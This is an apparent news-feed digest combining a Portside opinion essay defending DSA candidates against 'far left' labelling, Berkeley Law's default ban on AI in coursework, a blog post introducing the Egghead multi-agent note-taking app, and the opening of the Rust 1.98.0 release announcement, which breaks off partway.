This is a race against time. Our ideal is to scan and upload all the world’s publications before publishers completely block knowledge, and before AI companies scan and destroy all the world’s books and papers.

- Anna’s Archive volunteer “u”

Relevant tickets for more information: #223 #187

What Is “Far Left”?

Portside
portside.org
2026-08-20 21:55:33
What Is “Far Left”? jay Thu, 08/20/2026 - 21:55 ...
Original Article

Much of the establishment media has also joined the chorus, often describing DSA and the candidates it supports as “far left.” In truth, DSA candidates and DSA’s progressive allies are more reformers than revolutionaries. Their proposals are akin to what most people around the world call “social democracy,” which seeks to make capitalism more humane and democratic. These ideas are popular with the vast majority of Americans.

So, Republicans hope that their warnings of a socialist takeover of American politics will help their candidates this November and in 2028 by painting all Democrats with the same “far left” or “extreme left” brush.

Progressives are in Sync with Most Americans

Widening inequality, a growing concern with the cost of basics like housing, health, childcare and college, and the outsized political and economic influence of big business and billionaires has made more Americans skeptical of America’s version of capitalism. A Gallup Poll survey conducted last year found that 39% of all Americans over 18 – and 49% of those between 18 and 34 -- have a positive view of socialism. Among Democrats, 66% have a positive view of socialism (which is why DSA’s strongest turf is in deep-blue areas) compared with, 38% of independents and 14% of Republicans. Most Americans with positive views of socialism, however, have not joined DSA, whose due-paying membership has grown from 7,000 to 120,000 since Sanders mounted his first presidential campaign in 2016. (In contrast, the ACLU and Sierra Club each have over one million members, the NRA has about four million, and about 14.7 million Americans are members of a union).

In fact, most voters who vote for DSA or DSA-adjacent candidates like Sen. Bernie Sanders, Rep. Alexandria Ocasio-Cortez, and New York Mayor Zohran Mamdani don’t think of themselves as socialists, and perhaps not even as progressives. But a growing number are receptive to ideas that most Europeans (especially those in Scandinavian countries), and even many Canadians, take for granted. They know that these societies embrace universal health insurance and childcare, paid family leave and paid vacations, more equality for women, and more progressive taxes. They have less poverty, a higher standard of living for working families, better schools, universities that are affordable to working class students, a cleaner environment, higher voter turnout, stronger unions, and a much wider safety net.

Sounds anti-business? U.S. News ranked Denmark as the second-best country for business, while Sweden ranked third, the Netherlands ranked fifth, Norway ranked sixth, Finland eighth, and Norway fifteenth. The United States — the world’s most hyper-capitalist nation — ranked eighteenth.

What most DSA members and DSA-endorsed candidates want is an updated version of the New Deal. They don’t want the federal government to take over Walmart, General Motors, Microsoft, or Wells Fargo. They do want to reduce the political influence of the super-rich and big corporations through public financing of elections and increase taxes on the wealthy to help pay for expanded public services like childcare, public transit, schools, and higher education. They want to make it easier for workers to unionize; reduce barriers to voting; limit the sale of military-style assault weapons; and strengthen regulations of business to require them to be more socially responsible. That means a higher minimum wage, paid sick days and paid vacations, and safer workplaces. They believe that banks shouldn’t engage in reckless predatory lending. Energy corporations shouldn’t endanger the planet and public health by emitting too much pollution. Companies should be required to guarantee that consumer products (like cars and toys) are safe and that companies pay decent wages and face penalties for union-busting. They want local police departments to hold abusive officers accountable and an end to racial profiling. They want an end to the war with Iran, a halt to U.S. military aid to Israel until it ends its war in Gaza and the occupation of Palestinian areas, and a foreign policy based on human rights.

Sanders has said, “I don’t believe it is a terribly radical idea to say that someone who works 40 hours a week should not be living in poverty.” Most Americans agree with him.

If anything, it is right-wing Republicans who are the extremists and whose views are out of sync with most Americans. In contrast, progressives and democratic socialists are in accord with the vast majority of Americans, regardless of how they define themselves. For example, according to recent polls:

80% of Americans consider wealth inequality a serious national issue.

82% view the influence of money in politics as a threat to American democracy.

80% believe that the rich have too much political power.

65% think the American economy is rigged to advantage the rich.

77% support increasing taxes on billionaires and 63% (including 43% of Republicans) support higher taxes on large corporations.

80% (and 70% of Republicans) support a tax on corporations whose CEOs make 50 times more than their median employees

73% think that members of Congress and their family members should be prohibited from owning or trading individual stocks.

74% support requiring oil and gas companies to pay a share of climate-related costs.

69% (including 58% of Republicans) think that the government should do more to regulate grocery chains that raise prices to maximize profits.

82% say that the profits made by pharmaceutical companies are a “major factor” in the high price of prescription drugs. Perhaps surprisingly, 89% of Republicans share this view, compared with 78% of independents and 84% of Democrats.

88% want Congress to allow Medicare to negotiate with pharmaceutical companies to lower prescription drug prices

62% think it is the responsibility of the federal government to make sure all Americans have health care coverage.

90% think Congress should add dental, vision, and hearing benefits to Medicare coverage

59% support a single-payer or Medicare for All system (27% oppose the idea and 14% had no opinion).

57% want Congress to pass legislation to codify nationwide rights to abortion, contraception, and in vitro fertilization

68% support labor unions, a significant increase since the 1960s.

67% (including 53% of Republicans) support federal legislation to make it easier for Americans to form unions and negotiate for higher pay and better benefits

77% (including 75% of Republicans) support raising the federal minimum wage from the current $7.25 to $15, while 70% think it should be increased to $17.

75% (including 64% of Republicans) think Congress should guarantee 12 weeks of annual paid family and medical leave to all employees.

73% support government-funded universal childcare.

81% (and 74% of Republicans) support a guarantee of at least 10 days of paid vacation for full-time workers.

70% (including 62% of Republicans) embrace the idea of making two years of community college tuition-free nationwide.

72% (including 63% of Republicans and 61% of gun owners) think that a person should be required to obtain a license from local law enforcement before they can purchase a gun.

58% of Americans who have heard about the recent killings by ICE agents support abolishing the agency. Only 25% of Americans think that most or all of the people being deported are criminals.

57% believe that police treat people unequally based on their race and 58% don’t think that the courts treat everyone equally.

A majority support reforms such as banning chokeholds, curtailing no-knock warrants, expanding the use of body cameras, conducting independent investigations of officer-involved shootings, launching a national database for police misconduct, and appointing civilian oversight boards as watchdogs over police departments. Many Americans support shifting some funding toward community crime-prevention and using mental health workers to deal with non-violent incidents, but very few Americans, across all races, want to “defund” or dismantle local police departments.

69% support the creation of a path to citizenship for undocumented immigrants who are essential workers, are farmworkers, were brought to the U.S. as children, or are here legally due to war or natural disaster in their home countries

60% of Americans – including 82% of those between 18 and 34 -- disapprove of Israel’s military action in Gaza. The proportion of Americans who want to decrease or stop U.S. military aid to Israel (40%) is higher than those who support maintaining the same level (27%) or increasing it (11%).

Red-Baiting

Given these poll results, how can Trump and his allies win the hearts and minds of American voters? They think that branding Democrats as communists, Marxists, “radical lunatics,” and even “jihadists” is the best strategy for Republicans to keep control of the House and Senate and to deflect public attention from his many failures.

“Our warriors did not fight communism on battlefields across the world, only to have that menace rear its ugly head right back here in America,” Trump said in his July 4 th address this year. “It’s like a cancer. You got to cut it out.”

In 2019, gearing up for his reelection battle, Trump asked his Council of Economic Advisers to write a report on the evils of socialism. They complied with a 72-page manifesto called “The Opportunity Costs of Socialism” that rambled from criticisms of tuition-free college to atrocities committed by the Soviet Union and Communist China. His acolytes followed his lead. In 2019, after Ocasio-Cortez announced that she was redistributing her office budget in order to raise the salaries of her lowest-level staffers to $52,000, Fox News host Pete Hegseth, now Trump’s Secretary of Defense, described her action as “communism and socialism.”

This year, Trump, Republican leaders, and GOP candidates are echoing the same talking points. Steven Cheung, Trump's communications director, recent called Sen. Jon Ossoff (D-Georgia), hardly a left-winger, a "radical, extremist Dumocrat.”  Trump has called Abdul El-Sayed, the Democratics’ candidate for Michigan’s Senate Seat, a “communist.”  Former Rep. Mike Rogers, El-Sayed’s Trump-loving Republican opponent, called him an “extremist.”

Senator John Barrasso (R-Wyoming) warned that the Democratic Party is “controlled by dangerous, left-wing extremists.” Rep. Derrick Van Orden (R-Wisconsin), who is seeking reelection in a toss-up district, told USA Today that American politics today is literally capitalist versus communist." After DSA-backed state Rep. Manny Rutinel won the Democratic primary election for Colorado’s highly competitive 8th Congressional District, a spokesperson for the National Republican Congressional Committee said that Rutinel was “racing to the far left.”

Even some moderate Democrats have jumped on the bandwagon. Rep. Josh Gottheimer (D-NJ) recently accused DSA of “hijacking” the Democratic Party and hurting its candidates’ chances to win in November. “The Democrats have a big tent,” Gottheimer wrote on X. “That’s our strength. We embrace a range of ideas — but there’s no room for anti-American bomb-throwers who oppose our ideas, values, & leaders.”

Pundit James Carville, a long-time Democratic operative, has threatened to leave the party if "this idea that we're going to seize the means of production” – which he associated with DSA-backed Democrats – gains traction.

Jonathan Cowan, the president of Third Way, a group of centrist Democratics, revealed to the New York Times a new $15 million campaign to discredit democratic socialism before the 2028 elections.

“It is deeply troubling to see radical, far-left candidates winning in places that are potentially presidential swing states,” Cowan told the Times. “We are preparing for the next war that is coming.”

The progressive surge has also exposed the establishment media’s centrist bias. They not only report the anti-left name-calling by politicians and pundits but also can’t resist describing this new wave or progressives and democratic socialists as “far left” and “extreme left” candidates.

POLITICO wrote that DSA member and state assemblyperson Francesca Hong’s loss in her campaign for Wisconsin governor “revealed limits to the far left’s power.”  The Wall Street Journal observed that her defeat delivered “a significant blow to the party’s insurgent far-left flank.” The Washington Post described the DSA-backed candidates who have won Democratic primaries this year as part of the “far-left.” Even WBUR, the NPR station in Boston, called Hong a “far-left candidate.”

A Long Tradition

Red-baiting has been a consistent presence in American politics since the 1917 Russian Revolution. During the first Red Scare, after World War I, Woodrow Wilson’s attorney general, A. Mitchell Palmer, rounded up, jailed, or deported thousands of suspected radicals, including members of the Socialist Party, stoking fear that they were trying to import Communism (or anarchism) to the United States.

During the Depression, right-wing groups, business leaders, Republicans, and much of the press branded President Franklin D. Roosevelt and his New Deal as ultra-radical. “The New Deal is now undisguised state socialism,” pronounced Senator Simeon Fess of Ohio in 1934. A year later his GOP colleague, Representative Robert Rich of Pennsylvania, claimed that “Roosevelt is a socialist, not a Democrat.” This is what Carville is saying today.

When big-business leaders and conservatives attacked him as a radical, FDR boasted: “They are unanimous in their hate for me. And I welcome their hatred.”

Beginning in the late 1940s, another wave of hysteria swept the country during the Cold War, when conservative politicians like Senators Joe McCarthy, Richard Nixon, and Pat McCarron engineered witch hunts to identify and blacklist progressives and radicals in government, schools and universities, Hollywood, labor unions, and the media, alleging that Communists were infiltrating key institutions in order to undermine the American way of life. (McCarthy’s top witch-hunting assistant was Roy Cohn, who would later become Trump’s attorney and political mentor.)

Anyone who questioned the nuclear-arms race, supported racial integration, or called for higher taxes on the rich could be branded an anti-American Communist. Pressure from the right forced some liberal Democrats to prove their loyalty by participating in the witch hunts.

Even President Harry Truman – a liberal but also an ardent Cold Warrior – excoriated his Republican opponents for branding as socialist his efforts to expand the New Deal by providing government-funded health insurance, more low-rent public housing, and other programs. In an October 1952 speech, Truman said: “Socialism is a scare word they have hurled at every advance the people have made in the last 20 years.”

Not even Martin Luther King Jr. was immune from the right-wing witch hunt. In the 1960s, segregationists and right-wing groups erected billboards around the country vilifying him as a Communist. The Cold War red-baiters didn’t make distinctions between socialism and communism, even though leading American socialists like Norman Thomas and Michael Harrington opposed the totalitarian governments of the Soviet Union, China, and their satellites.

Even after the fall of the Berlin Wall in 1989 and the collapse of the Soviet Union two years later, red-baiting never went on hiatus. After Barack Obama was elected president in 2008, the National Review, a conservative magazine, put his picture on its cover over the headline, “Our Socialist Future.”

DSA’s Wins and Losses

The attacks on DSA are far out of proportion to its track record of electing candidates.

About 250 DSA members or DSA-backed candidates now serve in public office, most of them at the local level. To put this in context, there are 496,537 elected public offices across the United States, most at the local and school district levels.

In the past decade, DSA has transformed itself from a marginal left-wing debating society into an electoral force – at least in a growing number of deep-blue cities, states, and Congressional districts. Last year’s victories by New York mayor Zohran Mamdani and Seattle Mayor Katie Wilson, both democratic socialists, lifted DSA’s reputation even more. Voters have spoken in Los Angeles, Chicago, and New York by electing several DSAers to the city council in each city. Pennsylvania and New York have socialist caucuses in their state legislatures.

Progressives and DSA-backed candidates have had most of their success so far in safely Democratic cities, state legislative and Congressional districts, and states, This year, for example, DSAer and DC city councilmember Janeese Lewis George is likely to win her race to be the capital’s next mayor. She is one of 64 DSA-backed candidates who won primaries this year, compared to 57 in the loss column.

This year, despite the fact that the Democratic establishment and its big funders backed centrists in the primaries, progressives like Brad Lander, Darializa Chevalier, and Claire Valdez in New York, Melat Kiros in Denver, Analilia Mejia in New Jersey, Donavan McKinney in Michigan, and Chris Rabb in Pennsylvania prevailed in their primary battles in deep-blue House districts and are likely win their Congressional races in November. The House already has 100 Progressive Caucus members; the democratic socialist caucus could soon total nine or ten members of Congress, the largest number in American history.

It is also true that most DSA-backed candidates who ran for the House this year lost their primary races to more centrist candidates in both battleground and deep-blue districts in California, Florida, Illinois, Missouri, Virginia, and Texas. DSA’s best chance to win a purple district in November is Manny Rutinel, an environmental lawyer and state legislator who won the Democratic primary election in Colorado’s highly competitive 8th Congressional District and is facing Republican incumbent Gabe Evans, who voted to support Trump’s agenda 99% of the time.

Francesca Hong’s razor-thin loss for the Democratic nomination for Wisconsin governor, and Abdul El-Sayed’s narrow victory and Angie Nixon’s landslide win in the primaries for U.S. Senate seats in Michigan and Florida, respectively, reveal that a significant number of Democrats are willing to vote for progressive candidates in statewide races. All three were vastly outspent by the centrist Democratic opponents. All three ran robust grassroots campaigns that attracted a large number of volunteers and increased Democratic turnout.

Hong is a chef, former restaurant owner, state legislator from Madison, and a DSA member. During her campaign she outlined a progressive platform that included strong opposition to AI data centers. But she made a number of costly mistakes and seemed particularly unprepared to either defend or distance herself from her past social media comments about abolishing the police and canceling Thanksgiving. Republicans, moderate Dems, and the news media jumped on these controversies and Hong didn’t handle them adeptly. These errors persuaded just enough Democratic voters – aided by a well-funded campaign among the Democratic establishment led by retiring Gov. Tony Evers – that Hong would have a difficult time beating the Republican nominee, Rep. Tom Tiffany, an avid Trumper, in November.

El-Sayed, a physician and public health official, is not a DSA member and did not get DSA’s official endorsement but its members canvased for him in joint efforts for DSA-affiliated candidates in Michigan. Both he and Nixon, a state representative and small business owner who joined DSA in June, will each face right-wing Trump-aligned Republicans in November. El-Sayed has a better chance to win his contest in battleground Michigan (where Trump defeated Kamala Harris by a 49.6 to 48.7% margin) than Nixon, running in deeply-red Florida (where Trump beat Kamala Harris 56 to 43%), and where Republican state officials have adopted a voter suppression strategy. El-Sayed, a Muslim, and Nixon, a black woman, will also face an onslaught of racism – overt and subtle – from Republicans and the right-wing media echo chamber.

Whether El-Sayed and Nixon can overcome those obstacles and make it more likely for Democrats to win a Senate majority, will depend in part on their ability to unite the Democratic party behind them, raise sufficient money to mount credible campaigns, enlist an army of volunteers, and appeal to independent voters, who represent about 16% of Michigan’s electorate and 29% of Florida’s. It will also depend on how well El-Sayed and Nixon connect to voters in terms of their personalities, senses of humor, personal stories, and ability to translate their ideas into common sense language that both attacks Trump and persuades voters that they have practical policies for making their lives easier.

Stepping Stones Toward A More Humane Society

DSA recently released its national platform . Most of it involves typical progressive ideas on health care, unions, transportation, and other matters. But most DSA-backed candidates have been careful to reject some parts of the platform, and some statements by DSA’s ultra-left factions – such as abolishing borders, prisons and the U.S. Senate, defunding the entire Defense Department, government ownership of the largest corporations, and ending U.S. aid to Ukraine. These views do not represent the beliefs of most rank-and-file DSA members, but they provide DSA’s opponents with convenient talking points and put its candidates on the defensive.

Megan Romer, one of two DSA co-chairs, did the group no favors in her recent interviews with Fox News and The New Yorker Radio Hour, where she was unable to explain DSA’s platform regarding Israel and Hamas, taxing the rich, and other matters.

"These people are insane," wrote Sen. Ted Cruz (R-Texas) in a July 27 post on X in response to Romer’s Fox News interview.

In fact, no serious Democratic candidates, including DSA members, have embraced the platform’s most controversial ideas. Ocasio-Cortez, a DSA member who is considering a run for president in 2028, recently distanced herself from parts of the platform, arguing it is time for socialists to move beyond what she called “Woke 1.0.”

She understands that major change doesn’t happen overnight. The success of progressive and socialist movements in American history has been to push radical ideas from the margins to the mainstream - by outlining a radical vision but supporting stepping-stone reforms that improve lives and whet people’s appetites for more.

In 1911, Rep. Victor Berger of Wisconsin, the first socialist elected to Congress, introduced an “old age insurance” bill that would provide pensions up to $4 a week for those aged whose income was less than $10 a week. It made no headway. Two decades later, FDR proposed Social Security. Despite the attacks by those who called it socialism and even un-American, Congress passed it in 1935. Today, Social Security is extremely popular among Democrats and Republicans alike. A poll last year found that 93% of Americans consider it a vital program. Many ideas once considered “far left” have a habit of becoming the next generation’s common sense.

In the 1960s, Republicans and the AMA (whose spokesperson was actor Ronald Reagan), called proposals for Medicare and Medicaid as a dangerous step toward communism. In 2010, many progressives viewed the Affordable Care Act (Obamacare) as a sell-out to the insurance and pharmaceutical industries. By now, thanks to Obamacare, millions more Americans have health insurance, but recognize that it is still insufficient in terms of both reach and cost. Even so, it helped raise expectations and made it easy for progressives to push for Medicare for All.

Likewise, 25 years ago, no big city in America had a “living wage” law. In 1994, a labor-community coalition in Baltimore won the first municipal living wage ordinance. Now, hundreds of cities have done so, as have 30 states. According to public opinion polls, most Americans think that Congress should raise the federal minimum wage, which has been stuck at $7.25 since 2009 in the face of Republican opposition. (The Washington State wage is $17.13; Seattle’s is $21.30. California’s is $16.90; Los Angeles’ is $18.42). If Democrats win the White House and both houses of Congress in 2028, a much higher minimum wage will certainly be on the agenda. Even most centrist Democrats will have a hard time opposing such a measure. The battle will not be over whether to raise it, but how much should it be raised - to $12, $15, $17, or even $20 an hour?

In each era, socialists have been effective when they pushed for what DSA founder Michael Harrington called the “left wing of the possible.”  DSA’s future success – but, more importantly, the future of our democracy -- depends on learning that lesson.

[ Peter Dreier is professor of politics and urban policy at Occidental College. His books include "Baseball Rebels: The Players, People, and Social Movements That Shook Up the Game and Changed America," "We Own the Future: Democratic Socialism, American Style," "The 100 Greatest Americans of the 20th Century: A Social Justice Hall of Fame," "Place Matters: Metropolitics for the 21st Century," and "The Next Los Angeles: The Struggle for a Livable City." From 1984-1992 he served as a deputy to Boston Mayor Ray Flynn.]

Berkeley Law prohibits AI use in classes (by default)

Hacker News
www.law.berkeley.edu
2026-08-20 21:37:27
Comments...
Original Article

Effective Summer 2026

Purpose

Future lawyers may need to use artificial intelligence (“AI”) fluently. But the current state of the technology requires that AI use be coupled with the cognitive skills necessary to strategically deploy the technology, to critically assess its work product, and to uphold ethical obligations to clients and to the legal system. In short, thinking remains the sine qua non of good lawyering (and of a quality legal education). This policy seeks to ensure that our courses focus on requisite cognitive skills by default. It provides students with the opportunity to develop the skills they need to conceptualize, outline, draft, revise, and edit their work by forbidding the use of AI for these purposes in connection with work submitted for credit. It also forbids using AI to translate work for credit, thus providing students with the opportunity to develop and exercise their own fluency with legal English. And it prohibits AI use for any purpose in any exam situation. Activities violating the rule include (but are not limited to):

  • Asking an AI tool to brainstorm a paper topic or thesis (prohibited conceptualizing)
  • Asking an AI tool to propose an organizational structure for a paper (prohibited outlining)
  • Asking an AI tool to compose a paragraph summarizing a legal rule for use in a paper (prohibited drafting)
  • Asking an AI tool to identify repetitive passages in a paper that should be cut (prohibited revising)
  • Asking an AI tool to polish a paper by correcting grammatical mistakes (prohibited editing)
  • Asking AI to generate an exam outline, elements of which are then used on the exam (prohibited exam use)
  • Asking AI to translate a paper originally written in another language into English (prohibited translating)

Instructors may deviate from the default rule for courses designed intentionally to teach AI fluency (or for other courses for which the instructor decides a distinct rule is pedagogically appropriate).

The purposes of this policy are (1) to ensure the best legal education possible for our students by equipping them to perform activities constitutive of excellent lawyering, such as mastering primary texts, using legal reasoning to apply legal authorities to novel legal questions, and independently developing creative solutions; and (2) to promote fairness and administrability.

Rule

The use of AI is prohibited for aid in conceptualizing, outlining, drafting, revising, translating, or editing any work submitted for credit. AI use is prohibited for any use for any purpose in any exam situation. Students may not upload course materials—including assignments, readings, slides, class recordings, or other class content—into generative AI systems. AI can be used for research on papers ONLY for the limited purpose of identifying sources, such as cases, statutes, or secondary sources. Students are responsible for the accuracy of their research and all other aspects of their submitted work. Citations to sources that do not exist will raise a presumption of prohibited AI use.

Instructors have the discretion to deviate from this default rule, provided that they do so in writing and with appropriate notice and require students to disclose any authorized AI use. If a student has a question about whether a particular use of AI violates this default rule or an instructor’s alternative rule, they must ask their instructor and receive clarification in writing before engaging in the use.

Egghead is a note-taking app

Lobsters
wunsch.substack.com
2026-08-20 20:45:07
Comments...
Original Article

Egghead is a note-taking app.

There are some who have already decided that the next interesting thing in software is going to call itself “AI-native” or “agentic” or “the cognitive operating system of the future.” Egghead is not those things. Or rather, it is some of those things but only as a consequence of being a note-taking app in 2026.

Black-and-white line drawing of a bearded man wearing glasses, facing forward, with the top of his head cleanly sliced off. A red apple, cut horizontally, floats above the opening, aligned with the head and connected by its stem, with a small green leaf attached.
Generated by ChatGPT Images 2.0

We take notes because notes outlast thinking. Anyone who has kept a notebook, either physical or digital, for any length of time has had the experience of writing something down only to later be unable to find it. You know the note is there, somewhere, but you can’t, for the life of you, recall where it was or what it said.

This central challenge of keeping notes gets worse with scale. A single notebook is searchable by hand. Ten notebooks are significantly more challenging. A folder of digital notes can be searched, but only if you remember the exact words you used, which you usually don’t because the whole reason you wrote the note in the first place was to externalize the thought so you could stop holding it. The note is supposed to do the remembering for you. Instead it just changed where the forgetting occurs.

The work to create a system of note-taking has lasted nearly as long as the act of note-taking itself. The Renaissance period had commonplace books . The Index Card was popularized by Carl Linnaeus — a guy with strong opinions about structured information. In the 20th Century an obscure German sociologist named Niklas Luhmann took his note-taking seriously enough to build a card catalog of nearly ninety thousand interlinked notes, which he then used to write more than seventy books and nearly four hundred scholarly articles. The system he extensively used was Zettelkasten , which became a subject of his own research into systems theory and prefigured the Wiki .

The 21st century has produced an entire category of software — Evernote, Obsidian, Notion, Roam, Bear, Apple Notes, Logseq — to name just a handful that popped into my head. Each one promising that this time , the notes will stay findable. I know I am not alone in having tried more than one of them, and sticking with it for a nontrivial amount of time before finding another shiny object promising untold cognitive reward.

They all work, but they all suffer from the same limitations. No matter how good the search, or how clever the linking, or how disciplined you are about tagging, the system can only ever give back what you put in. The smartest thing in the room is still you.

This isn’t a failure of any specific tool, but a structural property of the whole category. The limit on what you can do with a notebook is your own memory of what’s in it. Which is, if you’re like me, not very good. Which is why I started writing things down in the first place.

There is a self-help sub-genre in your nearest global online bookstore dedicated to note-taking systems, and though I have a personal perspective of what makes a good system of notes, I find the more critical thing to answer is where the notes are and how they are made available to you.

The best answer, as of this writing, is the same answer as it was fifty years ago: a series of files written in plain text on your storage disk. Many popular note-taking software applications tend to use proprietary formats in proprietary databases, accessed only through said proprietary application. Plain text files are the computer world’s universal interface, and are a core pillar of the Unix philosophy .

For Egghead, the notes are assumed to live as files in a directory formatted as either Markdown or Org Mode using Wikilinks to denote connections between them. When we circumscribe our written notes to proprietary formats, we reduce our ability to retrieve them. Which as stated earlier, is already challenging enough due to the limitations of our own memory. Plain text first.

For most of recent history, the limitations of software notebooks were reflections of the limitations of physical notebooks: limitations of the human operator. Improvements in metadata, indexing, and search are still fundamentally bound by the user: you can only search for a word that has been explicitly written, and traverse relationships over metadata that the user has embedded. Software could not, in any meaningful sense, build a notebook that read what you wrote and engaged with it as a participant.

Large language models change this. Not because they are intelligent in any deep sense, but because they can read more text than I can hold in my head, and they can produce reasonable language about that text on demand. That is genuinely new.

So the obvious move is to point an AI assistant at your notes and let it go to town.

This is what the current generation of AI products is doing. Uploading files to ChatGPT, creating project knowledge in Claude, Notion AI on top of your Notion workspace, Cursor in your codebase… They all share the same shape: there is a knowledge base over here and a single AI assistant over there and the assistant can occasionally reach over to read from the knowledge base before answering your question.

The most ambitious version of this shape, and the one that pushed me to build something different, is OpenClaw . An open-source personal AI assistant that you can run on your own machine, talk to from any messaging app, and connect to your files and tools. It’s genuinely good.

But OpenClaw directly demonstrates the limitations of a single AI assistant: it agrees with you .

It has to. There is no structural pressure on it to do otherwise. When you ask it a question, it will give you an answer shaped like the question. You ask a leading question and it follows your lead. The “You’re absolutely right!” reflex is both well-trodden joke material as well as real architectural fact: a single agent, optimizing locally for “be helpful” will reliably converge toward whatever the user seems to want to hear. This is the shape of one-on-one assistance.

What happens after a conversation with an AI assistant ends? Increasingly, they remember things from conversation to conversation (which wasn’t always the case). OpenClaw, for example, has a MEMORY.md and workspace for persistence.

The dominant pattern for memory in AI tooling is some flavor of retrieval-augmented generation ( RAG ). Notes and past conversations get chunked into passages, embedded into vectors, and stored. On each new prompt, the harness pulls the chunks that look semantically nearest to the question and stuffs them into the model’s context window.

In April, a more ambitious variant of the same impulse was articulated in Andrej Karpathy’s LLM Wiki pattern, where instead of retrieving from raw sources at query time, an LLM agent incrementally compiles your notes into a structured wiki and then queries that .

Both of these patterns exhibit the same flaw. In RAG, retrieval is shaped by the prompt and the prompt is shaped by you .

RAG works on chunks, not documents — your essay’s argument structure is gone before the agent ever sees it. In the LLM Wiki version, the same bias gets baked in earlier: by the time the wiki entry exists, it’s been passed through the agent’s filter. The summary is cleaner than the source. That’s what makes it a really compelling “memory” product, but not a great note-taking product. Ambiguity in your notes gets edited toward coherence.

So both the shape of a single AI assistant and its memory formation produce a thinking partner who is very capable at creating a confident, well-organized version of what you’ve already decided you wanted to hear.

This is exactly the limitation of human users that leads many to abandon note-taking or continuously migrate from one note-taking system to the next. The notebook can only return what you remember to retrieve. The single AI assistant with RAG memory can only return what your prompt vocabulary aims at. So the assistant-plus-notes shape, even with modern persistence, has two failure modes that compound: a single agent cannot disagree with itself in any structurally reliable way, and a single agent’s memory pulls toward the framing you walked in with. Both failures point at the same fix.

You need more than one, and they need to share notes.

The intuition is straightforward and very human: Teams beat individuals on most kinds of knowledge work, especially the kind where the failure mode is groupthink rather than skill gap. Peer review beats self-review. Code review beats no code review. We already know this about humans. We already build institutions around it. A single perspective on its own work has a structural blind spot and the cure is more perspectives.

Apply that to the notebook problem. If a single agent has a tendency to agree with you, the fix is not to find a better single agent. The fix is to put a second agent in the room with a different disposition, and let them disagree with each other where you can watch. The peer review you’d want from a thoughtful colleague, manufactured at the structural level, in real time, on the body of work you actually care about.

Many orchestration frameworks have arrived to multi-agent systems by a different route, but their shape does not lend itself to inherently better results. They default to coordinator and specialists — one agent dispatches tasks, others execute, and results aggregate at the top. This is a star topology — an org-chart fantasy of how teams work.

The Linux kernel mailing list does not have a dispatcher delegating tasks for execution. An organization that adopts Slack does not have an executive function adjudicating every channel message. Even in environments where you would expect a rigid hierarchy — like a nuclear submarine — the strict leader-follower model doesn’t always produce the best outcomes. In my own personal experience working in software teams, the teams that work are ones where the coordination is light and the communication is dense.

The recent MAS research bears this out — graph topologies, where any agent can talk to any other agent, outperform star and tree shapes on collaborative tasks.

Once you commit to a team full of agents working in a shared knowledge store, a security and a quality problem emerge that single-agent systems can (and frequently do) ignore.

“How much should this agent be able to access and perform?” is both a security question and a quality question. It’s a security question because, as has been borne out, agents can and will leak internal secrets to external places or perform destructive actions. More agents means more potential for leakage. It’s a quality question because agents that can do everything tend to converge. Without distinct role definitions, the disagreement that made a multi-agent architecture useful in the first place dissolves into consensus. Capability scoping is the structural pressure that keeps the room from collapsing into agreement.

This is the principle of least privilege applied to agentic systems. The same reason I, as adjunct faculty, do not have the keys to Columbia University’s Network Operations Center. Least privilege improves the quality of the output, because it preserves the structural diversity that makes a team perform better than an individual.

Egghead is a note-taking app.

The notes are written as plain-text files in a folder you own.

It uses a loosely-coordinated group of AI agents to continuously read from and contribute to the total knowledge base, producing the most diverse set of inferences about that knowledge by allowing the user to grant each agent a distinct set of capabilities.

Every agent is itself defined as a note, as are the transcripts of their conversations and individual deliberations, giving each note provenance for its creation.

The notes are written as plain text in the filesystem, and the app exposes this and communication with its agents through as many surfaces as possible — the terminal, the web, MCP, and IRC — so that your knowledge is not locked behind any one of them.

It is worth restating, we take notes because notes outlast thinking. Simply stated, the goal is to extend our thoughts beyond the storage and time limitations of our own wetware .

The goal is not productivity. The goal is not to get more done. The goal is not to have your meetings summarized, or your emails triaged, or your tasks auto-prioritized. Those are nice. They are not the point. The point — the actual, unfashionable, embarrassing-to-say-in-a-funding-pitch point — is to get smarter . To retain more of what you read. To do more with what you retain. To engage with your own past thinking.

Every “AI assistant” on the market is a productivity tool, by which I mean a tool whose purpose is to enable you to do less of a thing and produce more output. A note-taking app built on this premise would exist to reduce the time you spend with your notes. I want the opposite. I want a tool that makes you spend more time with your notes. That makes the doing of it more rewarding.

Knowledge itself is the outcome. The goal of the practice is – to use a word that has fallen out of fashion in software but used to be considered the most valuable thing a thinking person could accumulate – Wisdom .

Ipsa cognitio fructus

Discussion about this post

Ready for more?

Announcing Rust 1.98.0

Lobsters
blog.rust-lang.org
2026-08-20 20:38:21
Comments...
Original Article

The Rust team is happy to announce a new version of Rust, 1.98.0. Rust is a programming language empowering everyone to build reliable and efficient software.

If you have a previous version of Rust installed via rustup , you can get 1.98.0 with:

$ rustup update stable

If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.98.0 .

If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel ( rustup default beta ) or the nightly channel ( rustup default nightly ). Please report any bugs you might come across!

What's in 1.98.0 stable

Algebraic floating-point methods

The floating-point types f32 and f64 now have "algebraic" methods for addition, subtraction, multiplication, division, and remainder. These allow optimizations on these operations using the algebraic properties of real numbers, even though these properties do not hold with the limitations of floating-point representations. The exact set of optimizations is not specified, but may be similar to the kind of optimization you would see with the -ffast-math option in other languages.

For example, floating-point addition is not associative , so a sum like a + b + c + d must be evaluated in the left-associative order in which it is parsed, like ((a + b) + c) + d . If you write the same sum as a chain of algebraic_add calls, then the compiler is free to reorder it, perhaps like (a + b) + (c + d) to evaluate the partial sums simultaneously. Broader loop-vectorization is often enabled by using these algebraic methods as well.

These methods are non-deterministic, since the compiler is free to choose different optimizations, but they never cause undefined behavior. See the library documentation and the original API change proposal for more details.

Buffered integer formatting

All of the primitive integer types now have a format_into method that takes a &mut NumBuffer<Self> parameter, which is a buffer that is large enough to hold the decimal format of any value of that type. The buffer itself is opaque, but the method returns the formatted &str with a lifetime borrowed from that buffer.

This method also bypasses much of the dynamic dispatch that you would get with buffered write! formatting, which can be a boon to performance. The itoa-benchmark repo now shows that format_into performs similarly to itoa itself, so this could serve as a standard replacement for that dependency and others like it.

Fix interaction between ManuallyDrop and Box

Prior to Rust 1.96.0, there was a bug in the Rust compiler, which made the following code undefined behavior:

let mut x = ManuallyDrop::new(Box::new(1));
unsafe { ManuallyDrop::drop(&mut x) }
let x = x; // UB!

This is because the compiler considers it undefined behavior to move a Box that has been dropped (deallocated), and ManuallyDrop used to propagate that, such that moving ManuallyDrop<Box<_>> where the box has been dropped would also be considered UB.

